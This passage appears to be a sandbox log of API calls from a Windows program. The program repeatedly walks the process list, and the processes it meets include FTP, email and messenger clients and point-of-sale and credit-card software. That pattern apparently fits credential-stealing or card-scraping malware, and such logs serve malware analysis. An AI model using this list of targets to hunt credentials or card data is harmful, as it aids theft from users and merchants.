szExeFile="safe.exe")) returned 1 [0150.601] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0150.604] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0150.606] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0150.607] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0150.609] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0150.611] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0150.612] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0150.614] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0150.616] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0150.617] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0150.619] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0150.621] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0150.623] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0150.626] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0150.628] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0150.630] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0150.632] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0150.635] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0150.638] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0150.640] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0150.642] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0150.644] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0150.646] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0150.648] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0150.651] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0150.653] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0150.655] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0150.657] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0150.659] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0150.700] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0150.703] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0150.705] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0150.706] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0150.710] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0150.711] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0150.713] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0150.718] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0150.720] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0150.722] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0150.723] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0150.725] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0150.727] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0150.729] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0150.731] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0150.733] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0150.735] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0150.736] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0150.738] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0150.740] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0150.742] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0150.743] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0150.745] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.747] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0150.748] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0150.750] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0150.752] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0150.754] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0150.755] Process32Next (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0150.757] CloseHandle (hObject=0xb7c) returned 1 [0150.757] Sleep (dwMilliseconds=0x64) [0150.858] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14bc [0150.878] Process32First (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.880] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0150.882] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0150.884] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.885] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0150.887] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.888] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0150.890] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0150.893] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0150.894] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.896] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.898] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0150.899] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.901] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.903] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.906] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.908] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.909] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.928] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.933] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0151.030] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0151.032] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0151.035] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.036] Process32Next (in: hSnapshot=0x14bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0151.038] Process32Next (in: 